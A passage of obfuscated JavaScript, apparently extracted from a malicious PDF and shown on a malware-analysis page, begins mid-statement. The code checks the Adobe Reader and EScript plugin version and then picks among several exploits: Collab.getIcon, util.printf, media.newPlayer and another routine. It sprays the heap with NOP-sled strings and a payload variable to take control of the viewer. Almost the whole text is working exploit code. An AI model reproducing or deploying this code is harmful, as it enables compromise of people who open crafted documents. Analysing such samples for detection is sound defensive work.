vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

Open this report in the interactive analyzer, or submit your own file for analysis.